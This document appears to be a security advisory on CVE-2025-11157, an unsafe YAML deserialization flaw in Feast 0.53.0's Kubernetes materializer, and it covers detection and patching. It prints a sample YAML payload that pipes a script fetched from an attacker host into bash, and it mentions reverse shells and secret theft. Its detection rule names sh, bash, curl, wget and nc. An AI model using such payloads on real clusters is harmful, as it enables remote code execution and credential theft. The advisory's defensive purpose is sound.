CVE-2025-11157: One Malicious YAML File Away from Full Kubernetes Cluster Takeover

CVE ID: CVE-2025-11157
Affected Project: feast-dev/feast
Affected Version: 0.53.0
Component: Kubernetes Materializer Job
File Path: feast/sdk/python/feast/infra/compute_engines/kubernetes/main.py

Severity & Risk Summary (at a glance)

Severity: High
Estimated CVSS v3.1 Base Score: 8.8
Attack Vector: Network / Cluster-internal
Attack Complexity: Low
Privileges Required: Low (write access to mounted config or image)
User Interaction: None
Scope: Changed
Impact:
- Remote Code Execution (RCE)
- Kubernetes cluster compromise
- Data poisoning & model integrity loss
- Supply-chain sabotage
Exploitability: High in misconfigured or multi-tenant clusters
Exploit Availability: No public exploit kit at time of writing, but exploitation is trivial and well-understood

What is the issue?

Feast 0.53.0 contains a dangerous YAML parsing pattern inside its Kubernetes materializer job.
When the worker pod starts, it loads two configuration files:

/var/feast/feature_store.yaml
/var/feast/materialization_config.yaml

These files are deserialized using:

yaml.load(file, Loader=yaml.Loader)

This is unsafe.

The yaml.Loader allows YAML files to create arbitrary Python objects during parsing.
That means YAML is not just “data” anymore — it can become executable instructions.

If an attacker can modify either YAML file, they can execute OS commands before any configuration validation occurs.

Why this is dangerous

This vulnerability runs inside a Kubernetes worker pod, which often has:

Service account tokens
Network access to databases, feature stores, or model artifacts
Permissions to talk to the Kubernetes API
Access to shared volumes or cloud metadata endpoints

Once code execution is achieved, an attacker can:

Steal credentials and secrets
Modify or poison feature data
Deploy malicious containers
Pivot to other namespaces or clusters
Tamper with ML pipelines and downstream models

In short: this is a cluster-level threat, not just a single pod issue.

How exploitation works

Prerequisites

An attacker needs any one of the following:

Ability to modify the Feast Docker image
Write access to a ConfigMap or volume mounted at /var/feast
Compromise of CI/CD pipeline that generates the YAML
Insider access in a shared Kubernetes environment

No network access to the pod is required once the file is modified.

Exploitation flow

Attacker injects a malicious YAML payload into one of the config files.
The Kubernetes materializer job starts.
yaml.load() parses the file.
Python object constructors are executed immediately.
OS commands run before validation or safety checks.
Attacker gains control of the pod (and possibly the cluster).

Example malicious YAML payload

!!python/object/apply:os.system
- "curl -s http://attacker-server/payload.sh | bash"

Other common payloads include:

Reverse shells
Credential exfiltration via env or /var/run/secrets
Kubernetes API abuse using in-cluster credentials

This payload executes as soon as Feast reads the file.

MITRE ATT&CK Mapping

T1059.006 – Command and Scripting Interpreter: Python
T1190 – Exploit Public-Facing Application
T1609 – Container Administration Command
T1552 – Unsecured Credentials
T1496 – Resource Hijacking
T1565.002 – Data Manipulation: Transmitted Data
T1195 – Supply Chain Compromise

Detection & Monitoring Guidance

Log sources to monitor

Kubernetes container stdout/stderr
Kubernetes Audit Logs
Node-level process execution logs
Network egress logs from Feast pods
CI/CD pipeline logs producing Feast YAML files

Suspicious indicators

Unexpected shell commands during pod startup
Network calls made before materialization begins
Python stack traces referencing yaml.load
Pods spawning /bin/sh, /bin/bash, curl, or wget
Materializer jobs behaving differently with identical configs

Example detection rule (conceptual)

Condition:
Alert if a Feast materializer pod executes a shell or network utility within the first seconds of startup.

Key indicators:

Process name: sh, bash, curl, wget, nc
Parent process: python
Pod label: app=feast-materializer

Impact on ML & Data Integrity

This vulnerability is especially severe for ML platforms because it allows:

Silent poisoning of feature data
Manipulation of training datasets
Backdoored feature pipelines
Model drift introduced intentionally
Undetected tampering with offline and online stores

Unlike typical RCE bugs, the damage here can persist long after the attack, affecting model outputs and business decisions.

Remediation & Patch

Official Fix

The Feast project has patched this issue by replacing unsafe YAML deserialization with a safe loader.

Fix summary:

yaml.load(..., Loader=yaml.Loader)
⟶ replaced with
yaml.safe_load(...)

Official patch link

Upgrade to the patched release provided by the Feast maintainers:

https://github.com/feast-dev/feast/releases

(Use the first release after 0.53.0 that explicitly addresses unsafe YAML loading.)

Immediate Mitigations (if upgrade is delayed)

Restrict write access to /var/feast
Lock down ConfigMaps and volumes to read-only
Run Feast pods with:
- Non-root users
- Minimal RBAC permissions
Scan container images for unsafe YAML loaders
Block outbound network traffic from materializer pods where possible

Final Takeaway

CVE-2025-11157 is a textbook unsafe deserialization vulnerability with real-world blast radius due to its placement inside Kubernetes-based data infrastructure.

While simple in nature, the consequences are severe:
one modified YAML file can become a full cluster compromise.

Prompt patching and tighter configuration controls are strongly recommended.